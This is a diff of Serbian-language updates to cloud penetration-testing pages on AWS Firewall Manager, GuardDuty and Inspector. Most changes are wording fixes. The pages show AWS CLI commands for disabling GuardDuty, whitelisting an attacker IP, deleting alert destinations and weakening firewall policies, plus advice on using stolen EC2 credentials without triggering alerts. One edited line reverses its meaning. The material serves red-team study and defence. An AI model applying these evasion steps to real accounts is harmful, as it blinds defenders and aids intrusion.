@@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` -## Post Exploatacija / Obilaženje Detekcije +## Post Exploitation / Bypass Detection ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) Napadač sa **`fms:AssociateAdminAccount`** dozvolom bi mogao da postavi podrazumevani administratorski nalog Firewall Manager-a. Sa **`fms:PutAdminAccount`** dozvolom, napadač bi mogao da kreira ili ažurira administratorski nalog Firewall Manager-a, a sa **`fms:DisassociateAdminAccount`** dozvolom, potencijalni napadač bi mogao da ukloni trenutnu asocijaciju administratorskog naloga Firewall Manager-a. -- Uklanjanje asocijacije **podrazumevanog administratora Firewall Manager-a prati politiku prvi unutra, poslednji napolje**. Svi administratori Firewall Manager-a moraju da se odjave pre nego što podrazumevani administrator Firewall Manager-a može da ukloni nalog. +- Uklanjanje asocijacije **podrazumevanog administratora Firewall Manager-a prati politiku prvi unutra, poslednji napolje**. Svi administratori Firewall Manager-a moraju da se uklone pre nego što podrazumevani administrator Firewall Manager-a može da ukloni nalog. - Da bi se kreirao administrator Firewall Manager-a putem **PutAdminAccount**, nalog mora pripadati organizaciji koja je prethodno onboardovana na Firewall Manager koristeći **AssociateAdminAccount**. - Kreiranje administratorskog naloga Firewall Manager-a može se izvršiti samo od strane upravljačkog naloga organizacije. ```bash @@ -175,7 +175,7 @@ aws fms associate-admin-account --admin-account aws fms disassociate-admin-account aws fms put-admin-account --admin-account ``` -**Potencijalni uticaj:** Gubitak centralizovanog upravljanja, izbegavanje politika, kršenje usklađenosti i prekid bezbednosnih kontrola unutar okruženja. +**Potencijalni uticaj:** Gubitak centralizovanog upravljanja, izbegavanje politika, kršenje usklađenosti i ometanje bezbednosnih kontrola unutar okruženja. ### `fms:PutPolicy`, `fms:DeletePolicy` @@ -208,7 +208,7 @@ Primer permisivne politike kroz permisivnu sigurnosnu grupu, kako bi se zaobišl "TagList": [] } ``` -**Potencijalni uticaj:** Demontiranje bezbednosnih kontrola, izbegavanje politika, kršenja usklađenosti, operativne smetnje i potencijalni curenja podataka unutar okruženja. +**Potencijalni uticaj:** Demontiranje bezbednosnih kontrola, izbegavanje politika, kršenje usklađenosti, operativne smetnje i potencijalni curenja podataka unutar okruženja. ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` @@ -222,7 +222,7 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` -**Potencijalni Uticaj:** Dodavanje nepotrebne količine stavki u skup resursa povećaće nivo šuma u Servisu, potencijalno uzrokujući DoS. Pored toga, promene u skupovima resursa mogle bi dovesti do prekida resursa, izbegavanja politika, kršenja usklađenosti i prekida bezbednosnih kontrola unutar okruženja. +**Potencijalni uticaj:** Dodavanje nepotrebne količine stavki u skup resursa povećaće nivo buke u Servisu, potencijalno uzrokujući DoS. Pored toga, promene u skupovima resursa mogle bi dovesti do prekida resursa, izbegavanja politika, kršenja usklađenosti i prekida bezbednosnih kontrola unutar okruženja. ### `fms:PutAppsList`, `fms:DeleteAppsList` @@ -235,7 +235,7 @@ aws fms delete-apps-list --list-id ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` -Napadač sa **`fms:PutProtocolsList`** i **`fms:DeleteProtocolsList`** dozvolama mogao bi da kreira, menja ili briše liste protokola iz AWS Firewall Manager-a. Slično kao kod lista aplikacija, ovo bi moglo biti kritično jer bi neovlašćeni protokoli mogli biti korišćeni od strane šire javnosti, ili bi korišćenje ovlašćenih protokola moglo biti onemogućeno, uzrokujući DoS. +Napadač sa **`fms:PutProtocolsList`** i **`fms:DeleteProtocolsList`** dozvolama mogao bi da kreira, menja ili briše liste protokola iz AWS Firewall Manager-a. Slično kao sa listama aplikacija, ovo bi moglo biti kritično jer bi neovlašćeni protokoli mogli biti korišćeni od strane šire javnosti, ili bi korišćenje ovlašćenih protokola moglo biti onemogućeno, uzrokujući DoS. ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id @@ -246,7 +246,7 @@ aws fms delete-protocols-list --list-id Napadač sa **`fms:PutNotificationChannel`** i **`fms:DeleteNotificationChannel`** dozvolama mogao bi da obriše i odredi IAM ulogu i Amazon Simple Notification Service (SNS) temu koju Firewall Manager koristi za snimanje SNS logova. -Da biste koristili **`fms:PutNotificationChannel`** van konzole, potrebno je da postavite pristupnu politiku SNS teme, omogućavajući specificiranoj **SnsRoleName** da objavljuje SNS logove. Ako je navedena **SnsRoleName** uloga drugačija od **`AWSServiceRoleForFMS`**, zahteva poverenje koje je konfigurirano da dozvoli Firewall Manager servisnom principalu **fms.amazonaws.com** da preuzme ovu ulogu. +Da biste koristili **`fms:PutNotificationChannel`** van konzole, potrebno je da postavite pristupnu politiku SNS teme, omogućavajući specificiranoj **SnsRoleName** da objavljuje SNS logove. Ako je pružena **SnsRoleName** uloga drugačija od **`AWSServiceRoleForFMS`**, zahteva odnos poverenja konfigurisan da dozvoli Firewall Manager servisnom principalu **fms.amazonaws.com** da preuzme ovu ulogu. Za informacije o konfigurisanju pristupne politike SNS: @@ -257,19 +257,19 @@ Za informacije o konfigurisanju pristupne politike SNS: aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` -**Potencijalni Uticaj:** Ovo bi potencijalno moglo dovesti do propuštenih bezbednosnih upozorenja, kašnjenja u odgovoru na incidente, potencijalnih provala podataka i operativnih prekida unutar okruženja. +**Potencijalni uticaj:** Ovo bi potencijalno moglo dovesti do propuštanja sigurnosnih upozorenja, kašnjenja u odgovoru na incidente, potencijalnih curenja podataka i operativnih prekida unutar okruženja. ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -Napadač sa **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** dozvolama bi mogao da poveže ili odvoji treće strane vatrozidove koji se upravljaju centralno putem AWS Firewall Manager-a. +Napadač sa **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** dozvolama bi mogao da poveže ili odvoji treće strane vatrozide od centralnog upravljanja putem AWS Firewall Manager-a. > [!WARNING] -> Samo podrazumevani administrator može da kreira i upravlja vatrozidovima trećih strana. +> Samo podrazumevani administrator može da kreira i upravlja vatrozidima trećih strana. ```bash aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` -**Potencijalni Uticaj:** Disocijacija bi dovela do izbegavanja politike, kršenja usklađenosti i prekida bezbednosnih kontrola unutar okruženja. Asocijacija, s druge strane, bi dovela do prekida raspodele troškova i budžeta. +**Potencijalni uticaj:** Dezintegracija bi dovela do izbegavanja politike, kršenja usklađenosti i prekida bezbednosnih kontrola unutar okruženja. Asocijacija, s druge strane, bi dovela do prekida raspodele troškova i budžeta. ### `fms:TagResource`, `fms:UntagResource` @@ -278,7 +278,7 @@ Napadač bi mogao da doda, izmeni ili ukloni oznake sa resursa Firewall Manager- aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys ``` -**Potencijalni Uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama. +**Potencijalni uticaj**: Poremećaj u alokaciji troškova, praćenju resursa i politikama kontrole pristupa zasnovanim na oznakama. ## Reference diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 91b585741..e6fb0c83a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -16,9 +16,9 @@ Upozorenja **se pojavljuju u GuardDuty konzoli (90 dana)** i CloudWatch događaj ### Primer Nalaza -- **Reconnaissance**: Aktivnost koja sugeriše izviđanje od strane napadača, kao što su **neobične API aktivnosti**, sumnjivi pokušaji **prijavljivanja** u bazu podataka, intra-VPC **skeniranje portova**, neobični obrasci neuspešnih zahteva za prijavljivanje, ili neblokirano ispitivanje portova sa poznate loše IP adrese. -- **Kompromitovanje instance**: Aktivnost koja ukazuje na kompromitovanje instance, kao što su **rudarenje kriptovaluta, backdoor komanda i kontrola (C\&C)**, zlonamerni softver koji koristi algoritme generisanja domena (DGA), aktivnost odbijanja usluge, neobično **visok** obim mrežnog saobraćaja, neobični mrežni protokoli, komunikacija instance sa poznatom zlonamernom IP adresom, privremene Amazon EC2 akreditive korišćene od strane spoljne IP adrese, i eksfiltracija podataka korišćenjem DNS-a. -- **Kompromitovanje naloga**: Uobičajeni obrasci koji ukazuju na kompromitovanje naloga uključuju API pozive iz neobične geolokacije ili anonimnog proksija, pokušaje onemogućavanja AWS CloudTrail logovanja, promene koje oslabljuju politiku lozinki naloga, neobične instance ili lansiranja infrastrukture, implementacije infrastrukture u neobičnoj regiji, krađu akreditiva, sumnjivu aktivnost prijavljivanja u bazu podataka, i API pozive sa poznatih zlonamernih IP adresa. +- **Reconnaissance**: Aktivnost koja sugeriše izviđanje od strane napadača, kao što su **neobične API aktivnosti**, sumnjivi pokušaji **prijave** na bazu podataka, intra-VPC **skeniranje portova**, neobični obrasci neuspešnih zahteva za prijavu, ili neblokirano ispitivanje portova sa poznate loše IP adrese. +- **Kompromitovanje instance**: Aktivnost koja ukazuje na kompromitovanje instance, kao što su **rudarenje kriptovaluta, backdoor komanda i kontrola (C\&C)**, zlonameran softver koji koristi algoritme generisanja domena (DGA), aktivnost odbijanja usluge, neobično **visok** obim mrežnog saobraćaja, neobični mrežni protokoli, komunikacija instance sa poznatom zlonamernom IP adresom, privremene Amazon EC2 akreditivi korišćeni od strane spoljne IP adrese, i eksfiltracija podataka korišćenjem DNS-a. +- **Kompromitovanje naloga**: Uobičajeni obrasci koji ukazuju na kompromitovanje naloga uključuju API pozive iz neobične geolokacije ili anonimnog proksija, pokušaje da se onemogući AWS CloudTrail logovanje, promene koje oslabljuju politiku lozinki naloga, neobične instance ili lansiranja infrastrukture, implementacije infrastrukture u neobičnoj regiji, krađu akreditiva, sumnjivu aktivnost prijave na bazu podataka, i API pozive sa poznatih zlonamernih IP adresa. - **Kompromitovanje bucket-a**: Aktivnost koja ukazuje na kompromitovanje bucket-a, kao što su sumnjivi obrasci pristupa podacima koji ukazuju na zloupotrebu akreditiva, neobične Amazon S3 API aktivnosti sa udaljenog hosta, neovlašćen pristup S3-u sa poznatih zlonamernih IP adresa, i API pozivi za preuzimanje podataka iz S3 bucket-a od korisnika bez prethodne istorije pristupa bucket-u ili pokrenutih iz neobične lokacije. Amazon GuardDuty kontinuirano prati i analizira AWS CloudTrail S3 događaje (npr. GetObject, ListObjects, DeleteObject) kako bi otkrio sumnjivu aktivnost širom svih vaših Amazon S3 bucket-a.
@@ -50,15 +50,15 @@ Pristupite listi svih GuardDuty nalaza na: [https://docs.aws.amazon.com/guarddut ### Više Naloga -#### Po Pozivnici +#### Po Pozivu -Možete **pozvati druge naloge** u različit AWS GuardDuty nalog tako da **svaki nalog bude praćen iz iste GuardDuty**. Glavni nalog mora pozvati članove naloga, a zatim predstavnik članskog naloga mora prihvatiti pozivnicu. +Možete **pozvati druge naloge** u različit AWS GuardDuty nalog tako da **svaki nalog bude praćen iz istog GuardDuty**. Glavni nalog mora pozvati članove naloga, a zatim predstavnik članskog naloga mora prihvatiti poziv. #### Putem Organizacije Možete odrediti bilo koji nalog unutar organizacije da bude **delegirani administrator GuardDuty**. Samo nalog za upravljanje organizacijom može odrediti delegiranog administratora. -Nalog koji se odredi kao delegirani administrator postaje nalog administratora GuardDuty, automatski ima omogućenu GuardDuty u određenoj AWS regiji, i takođe ima **dozvolu da omogući i upravlja GuardDuty za sve naloge u organizaciji unutar te regije**. Ostali nalozi u organizaciji mogu se pregledati i dodati kao članovi GuardDuty povezani sa ovim delegiranim administratorskim nalogom. +Nalog koji se odredi kao delegirani administrator postaje nalog administratora GuardDuty, automatski ima omogućenu GuardDuty u određenoj AWS regiji, i takođe ima **dozvolu da omogući i upravlja GuardDuty za sve naloge u organizaciji unutar te regije**. Ostali nalozi u organizaciji mogu se videti i dodati kao članovi GuardDuty povezani sa ovim delegiranim administratorskim nalogom. ## Enumeracija ```bash @@ -122,7 +122,7 @@ Sa ovom informacijom, rekreirajte što je moguće više istog scenarija za kori #### `guardduty:UpdateDetector` -Sa ovom dozvolom mogli biste da onemogućite GuardDuty kako biste izbegli aktiviranje alarma. +Sa ovom dozvolom mogli biste da onemogućite GuardDuty kako biste izbegli aktiviranje upozorenja. ```bash aws guardduty update-detector --detector-id --no-enable aws guardduty update-detector --detector-id --data-sources S3Logs={Enable=false} @@ -135,7 +135,7 @@ aws guardduty create-filter --detector-id --name -- ``` #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Napadači sa prethodnim privilegijama mogli bi da modifikuju GuardDuty-ovu [**Listu pouzdanih IP adresa**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) dodajući svoju IP adresu na nju i izbegli generisanje upozorenja. +Napadači sa prethodnim privilegijama mogli bi da modifikuju GuardDuty-ovu [**Listu pouzdanih IP adresa**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) dodajući svoju IP adresu i izbegavajući generisanje upozorenja. ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` @@ -146,11 +146,11 @@ Napadači bi mogli ukloniti odredište kako bi sprečili upozorenje: aws guardduty delete-publishing-destination --detector-id --destination-id ``` > [!CAUTION] -> Brisanje ovog odredišta za objavljivanje **neće uticati na generisanje ili vidljivost nalaza unutar GuardDuty konzole**. GuardDuty će nastaviti da analizira događaje u vašem AWS okruženju, identifikuje sumnjivo ili neočekivano ponašanje i generiše nalaze. +> Brisanje ove destinacije za objavljivanje **neće uticati na generisanje ili vidljivost nalaza unutar GuardDuty konzole**. GuardDuty će nastaviti da analizira događaje u vašem AWS okruženju, identifikuje sumnjivo ili neočekivano ponašanje i generiše nalaze. ### Primeri zaobilaženja specifičnih nalaza -Imajte na umu da postoji desetine GuardDuty nalaza, međutim, **kao Red Teamer, nećete biti pogođeni svim njima**, a što je bolje, imate **potpunu dokumentaciju o svakom od njih** na [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) pa pogledajte pre nego što preduzmete bilo kakvu akciju da ne biste bili uhvaćeni. +Imajte na umu da postoji desetine GuardDuty nalaza, međutim, **kao Red Teamer, nećete biti pogođeni svim njima**, a što je bolje, imate **potpunu dokumentaciju o svakom od njih** u [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) pa pogledajte pre nego što preduzmete bilo kakvu akciju da ne biste bili uhvaćeni. Evo nekoliko primera specifičnih zaobilaženja GuardDuty nalaza: @@ -164,7 +164,7 @@ Da biste to sprečili, možete pretražiti skriptu `session.py` u `botocore` pak #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Ekstrakcija EC2 kredencijala iz metadata servisa i **korišćenje njih van** AWS okruženja aktivira [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) upozorenje. Nasuprot tome, korišćenje ovih kredencijala sa vaše EC2 instance aktivira [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) upozorenje. Ipak, **korišćenje kredencijala na drugoj kompromitovanoj EC2 instanci unutar istog naloga prolazi neprimećeno**, ne podižući nikakvo upozorenje. +Ekstrakcija EC2 kredencijala iz metadata servisa i **korišćenje njih van** AWS okruženja aktivira [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) upozorenje. S druge strane, korišćenje ovih kredencijala sa vaše EC2 instance aktivira [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) upozorenje. Ipak, **korišćenje kredencijala na drugoj kompromitovanoj EC2 instanci unutar istog naloga prolazi neprimećeno**, ne izazivajući nikakvo upozorenje. > [!TIP] > Stoga, **koristite exfiltrirane kredencijale iznutra mašine** gde ste ih pronašli da ne biste aktivirali ovo upozorenje. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 878ac49fd..5099f0827 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -18,19 +18,19 @@ Otkrića u Amazon Inspector su detaljni izveštaji o ranjivostima i izloženosti - **Zatvoreno**: Otkriće je otklonjeno. - **Potisnuto**: Otkriće je označeno ovim stanjem zbog jednog ili više **pravila potiskivanja**. -Otkrića su takođe kategorizovana u sledeće tri vrste: +Otkrića se takođe kategorizuju u sledeće tri vrste: - **Paket**: Ova otkrića se odnose na ranjivosti u softverskim paketima instaliranim na vašim resursima. Primeri uključuju zastarele biblioteke ili zavisnosti sa poznatim bezbednosnim problemima. -- **Kod**: Ova kategorija uključuje ranjivosti pronađene u kodu aplikacija koje rade na vašim AWS resursima. Uobičajeni problemi su greške u kodiranju ili nesigurne prakse koje mogu dovesti do bezbednosnih proboja. +- **Kod**: Ova kategorija uključuje ranjivosti pronađene u kodu aplikacija koje rade na vašim AWS resursima. Uobičajeni problemi su greške u kodiranju ili nesigurne prakse koje mogu dovesti do bezbednosnih propusta. - **Mreža**: Mrežna otkrića identifikuju potencijalne izloženosti u mrežnim konfiguracijama koje bi napadači mogli iskoristiti. Ovo uključuje otvorene portove, nesigurne mrežne protokole i pogrešno konfigurisane bezbednosne grupe. #### Filteri i pravila potiskivanja -Filteri i pravila potiskivanja u Amazon Inspector pomažu u upravljanju i prioritetizaciji otkrića. Filteri vam omogućavaju da precizirate otkrića na osnovu specifičnih kriterijuma, kao što su ozbiljnost ili tip resursa. Pravila potiskivanja omogućavaju vam da potisnete određena otkrića koja se smatraju niskim rizikom, koja su već ublažena, ili iz bilo kog drugog važnog razloga, sprečavajući ih da preopterete vaše bezbednosne izveštaje i omogućavajući vam da se fokusirate na kritičnije probleme. +Filteri i pravila potiskivanja u Amazon Inspector pomažu u upravljanju i prioritetizaciji otkrića. Filteri vam omogućavaju da precizirate otkrića na osnovu specifičnih kriterijuma, kao što su ozbiljnost ili tip resursa. Pravila potiskivanja omogućavaju vam da potisnete određena otkrića koja se smatraju niskim rizikom, koja su već mitigirana, ili iz bilo kog drugog važnog razloga, sprečavajući ih da preopterete vaše bezbednosne izveštaje i omogućavajući vam da se fokusirate na kritičnije probleme. #### Softverski račun o materijalima (SBOM) -Softverski račun o materijalima (SBOM) u Amazon Inspector je izvoziva ugnježdena lista inventara koja detaljno opisuje sve komponente unutar softverskog paketa, uključujući biblioteke i zavisnosti. SBOM-ovi pomažu u pružanju transparentnosti u lancu snabdevanja softverom, omogućavajući bolje upravljanje ranjivostima i usklađenost. Oni su ključni za identifikaciju i ublažavanje rizika povezanih sa open source i komponentama trećih strana. +Softverski račun o materijalima (SBOM) u Amazon Inspector je izvoziva ugnježdena lista inventara koja detaljno opisuje sve komponente unutar softverskog paketa, uključujući biblioteke i zavisnosti. SBOM-ovi pomažu u pružanju transparentnosti u lancu snabdevanja softverom, omogućavajući bolje upravljanje ranjivostima i usklađenost. Oni su ključni za identifikaciju i mitigaciju rizika povezanih sa open source i komponentama trećih strana. ### Ključne karakteristike @@ -38,19 +38,19 @@ Softverski račun o materijalima (SBOM) u Amazon Inspector je izvoziva ugnježde Amazon Inspector nudi mogućnost izvoza otkrića u Amazon S3 Buckets, Amazon EventBridge i AWS Security Hub, što vam omogućava da generišete detaljne izveštaje o identifikovanim ranjivostima i izloženostima za dalju analizu ili deljenje na određeni datum i vreme. Ova funkcija podržava različite formate izlaza kao što su CSV i JSON, olakšavajući integraciju sa drugim alatima i sistemima. Funkcionalnost izvoza omogućava prilagođavanje podataka uključenih u izveštaje, omogućavajući vam da filtrirate otkrića na osnovu specifičnih kriterijuma kao što su ozbiljnost, tip resursa ili vremenski opseg, uključujući po defaultu sva vaša otkrića u trenutnoj AWS regiji sa aktivnim statusom. -Prilikom izvoza otkrića, potrebna je ključna usluga za upravljanje ključevima (KMS) za enkripciju podataka tokom izvoza. KMS ključevi osiguravaju da su izvezena otkrića zaštićena od neovlašćenog pristupa, pružajući dodatni sloj bezbednosti za osetljive informacije o ranjivostima. +Kada izvozite otkrića, potrebna je ključna usluga za upravljanje ključevima (KMS) za enkripciju podataka tokom izvoza. KMS ključevi osiguravaju da su izvezena otkrića zaštićena od neovlašćenog pristupa, pružajući dodatni sloj bezbednosti za osetljive informacije o ranjivostima. #### Skeniranje Amazon EC2 instanci -Amazon Inspector nudi robusne mogućnosti skeniranja za Amazon EC2 instance kako bi otkrio ranjivosti i bezbednosne probleme. Inspector upoređuje izvučene metapodatke iz EC2 instance sa pravilima iz bezbednosnih saveta kako bi proizveo ranjivosti paketa i probleme dostupnosti mreže. Ova skeniranja se mogu izvesti putem **agenta** ili **bez agenta**, u zavisnosti od konfiguracije **načina skeniranja** vašeg naloga. +Amazon Inspector nudi robusne mogućnosti skeniranja za Amazon EC2 instance kako bi otkrio ranjivosti i bezbednosne probleme. Inspector upoređuje izvučene metapodatke iz EC2 instance sa pravilima iz bezbednosnih saveta kako bi proizveo ranjivosti paketa i probleme sa dostupnošću mreže. Ova skeniranja se mogu izvesti putem **agent-based** ili **agentless** metoda, u zavisnosti od konfiguracije **scan mode** postavki vašeg naloga. -- **Na bazi agenta**: Koristi AWS Systems Manager (SSM) agenta za izvođenje dubokih skeniranja. Ova metoda omogućava sveobuhvatno prikupljanje i analizu podataka direktno sa instance. -- **Bez agenta**: Pruža laganu alternativu koja ne zahteva instalaciju agenta na instanci, kreirajući EBS snimak svake jedinice EC2 instance, tražeći ranjivosti, a zatim ga brišući; koristeći postojeću AWS infrastrukturu za skeniranje. +- **Agent-Based**: Koristi AWS Systems Manager (SSM) agenta za izvođenje dubokih skeniranja. Ova metoda omogućava sveobuhvatno prikupljanje i analizu podataka direktno sa instance. +- **Agentless**: Pruža laganu alternativu koja ne zahteva instalaciju agenta na instanci, kreirajući EBS snimak svake zapremine EC2 instance, tražeći ranjivosti, a zatim ga brišući; koristeći postojeću AWS infrastrukturu za skeniranje. Način skeniranja određuje koja metoda će se koristiti za izvođenje EC2 skeniranja: -- **Na bazi agenta**: Uključuje instalaciju SSM agenta na EC2 instancama za duboku inspekciju. -- **Hibridno skeniranje**: Kombinuje metode na bazi agenta i bez agenta kako bi maksimizirao pokrivenost i minimizirao uticaj na performanse. Na onim EC2 instancama gde je instaliran SSM agent, Inspector će izvesti skeniranje na bazi agenta, a za one gde nema SSM agenta, skeniranje će biti bez agenta. +- **Agent-Based**: Uključuje instalaciju SSM agenta na EC2 instancama za duboku inspekciju. +- **Hibridno skeniranje**: Kombinuje agent-based i agentless metode kako bi maksimizirao pokrivenost i minimizirao uticaj na performanse. Na onim EC2 instancama gde je instaliran SSM agent, Inspector će izvesti agent-based skeniranje, a za one gde nema SSM agenta, skeniranje će biti agentless. Još jedna važna karakteristika je **duboka inspekcija** za EC2 Linux instance. Ova funkcija nudi temeljnu analizu softvera i konfiguracije EC2 Linux instanci, pružajući detaljne procene ranjivosti, uključujući ranjivosti operativnog sistema, ranjivosti aplikacija i pogrešne konfiguracije, osiguravajući sveobuhvatnu bezbednosnu evaluaciju. Ovo se postiže inspekcijom **prilagođenih putanja** i svih njihovih poddirektorijuma. Po defaultu, Amazon Inspector će skenirati sledeće, ali svaki član naloga može definisati do 5 dodatnih prilagođenih putanja, a svaki delegirani administrator do 10: @@ -63,19 +63,19 @@ Još jedna važna karakteristika je **duboka inspekcija** za EC2 Linux instance. Amazon Inspector pruža robusne mogućnosti skeniranja za slike kontejnera Amazon Elastic Container Registry (ECR), osiguravajući da se ranjivosti paketa otkriju i efikasno upravljaju. -- **Osnovno skeniranje**: Ovo je brzo i lagano skeniranje koje identifikuje poznate ranjivosti OS paketa u slikama kontejnera koristeći standardni set pravila iz open-source Clair projekta. Sa ovom konfiguracijom skeniranja, vaši repozitorijumi će biti skenirani prilikom slanja, ili izvođenjem ručnih skeniranja. -- **Poboljšano skeniranje**: Ova opcija dodaje funkciju kontinuiranog skeniranja pored skeniranja prilikom slanja. Poboljšano skeniranje dublje analizira slojeve svake slike kontejnera kako bi identifikovalo ranjivosti u OS paketima i paketima programskih jezika sa većom tačnošću. Analizira i osnovnu sliku i sve dodatne slojeve, pružajući sveobuhvatan pregled potencijalnih bezbednosnih problema. +- **Osnovno skeniranje**: Ovo je brzo i lagano skeniranje koje identifikuje poznate ranjivosti OS paketa u slikama kontejnera koristeći standardni set pravila iz open-source Clair projekta. Sa ovom konfiguracijom skeniranja, vaši repozitorijumi će biti skenirani prilikom push-a ili izvođenjem ručnih skeniranja. +- **Poboljšano skeniranje**: Ova opcija dodaje funkciju kontinuiranog skeniranja pored skeniranja prilikom push-a. Poboljšano skeniranje dublje analizira slojeve svake slike kontejnera kako bi identifikovalo ranjivosti u OS paketima i paketima programskih jezika sa većom tačnošću. Analizira i osnovnu sliku i sve dodatne slojeve, pružajući sveobuhvatan pregled potencijalnih bezbednosnih problema. #### Skeniranje AWS Lambda funkcija Amazon Inspector uključuje sveobuhvatne mogućnosti skeniranja za AWS Lambda funkcije i njihove slojeve, osiguravajući bezbednost i integritet serverless aplikacija. Inspector nudi dve vrste skeniranja za Lambda funkcije: - **Standardno skeniranje Lambda**: Ova podrazumevana funkcija identifikuje softverske ranjivosti u zavisnostima paketa aplikacije dodatim vašoj Lambda funkciji i slojevima. Na primer, ako vaša funkcija koristi verziju biblioteke kao što je python-jwt sa poznatom ranjivošću, generiše otkriće. -- **Skeniranje koda Lambda**: Analizira prilagođeni kod aplikacije za bezbednosne probleme, otkrivajući ranjivosti kao što su greške u injekciji, curenje podataka, slaba kriptografija i nedostatak enkripcije. Zapisuje delove koda koji ističu otkrivene ranjivosti, kao što su hardkodovane akreditive. Otkrića uključuju detaljne preporuke za otklanjanje i delove koda za ispravljanje problema. +- **Skeniranje koda Lambda**: Analizira prilagođeni kod aplikacije za bezbednosne probleme, otkrivajući ranjivosti poput grešaka u injekciji, curenja podataka, slabe kriptografije i nedostatka enkripcije. Zapisuje delove koda koji ističu otkrivene ranjivosti, kao što su hardkodovane akreditive. Otkrića uključuju detaljne preporuke za otklanjanje i delove koda za ispravljanje problema. -#### **Skeniranja Centra za internet bezbednost (CIS)** +#### **CIS skeniranja** -Amazon Inspector uključuje CIS skeniranja kako bi uporedio operativne sisteme Amazon EC2 instanci sa preporukama najboljih praksi iz Centra za internet bezbednost (CIS). Ova skeniranja osiguravaju da konfiguracije odgovaraju industrijskim standardima bezbednosti. +Amazon Inspector uključuje CIS skeniranja za benchmark operativnih sistema Amazon EC2 instanci prema preporukama najboljih praksi iz Centra za internet bezbednost (CIS). Ova skeniranja osiguravaju da konfiguracije budu u skladu sa industrijskim standardima bezbednosti. - **Konfiguracija**: CIS skeniranja procenjuju da li sistemske konfiguracije ispunjavaju specifične preporuke CIS Benchmark-a, pri čemu je svaka provera povezana sa CIS ID-om provere i naslovom. - **Izvršenje**: Skeniranja se izvode ili zakazuju na osnovu oznaka instanci i definisanih rasporeda. @@ -182,23 +182,25 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` -### Post Exploatacija +### Post Eksploatacija > [!TIP] > Iz perspektive napadača, ova usluga može pomoći napadaču da pronađe ranjivosti i mrežne izloženosti koje bi mu mogle pomoći da kompromituje druge instance/kontejnere. > -> Međutim, napadač bi takođe mogao biti zainteresovan za ometanje ove usluge kako žrtva ne bi mogla da vidi ranjivosti (sve ili specifične). +> Međutim, napadač bi takođe mogao biti zainteresovan za ometanje ove usluge kako bi žrtva mogla da vidi ranjivosti (sve ili specifične). #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -Napadač bi mogao generisati detaljne izveštaje o ranjivostima ili softverskom računu materijala (SBOM) i eksfiltrirati ih iz vašeg AWS okruženja. Ove informacije bi mogle biti iskorišćene za identifikaciju specifičnih slabosti, zastarelog softvera ili nesigurnih zavisnosti, omogućavajući ciljana napada. +Napadač bi mogao generisati detaljne izveštaje o ranjivostima ili softverskom računu materijala (SBOM) i eksfiltrirati ih iz vašeg AWS okruženja. Ove informacije bi mogle biti iskorišćene za identifikaciju specifičnih slabosti, zastarelog softvera ili nesigurnih zavisnosti, omogućavajući ciljanje napada. ```bash # Findings report aws inspector2 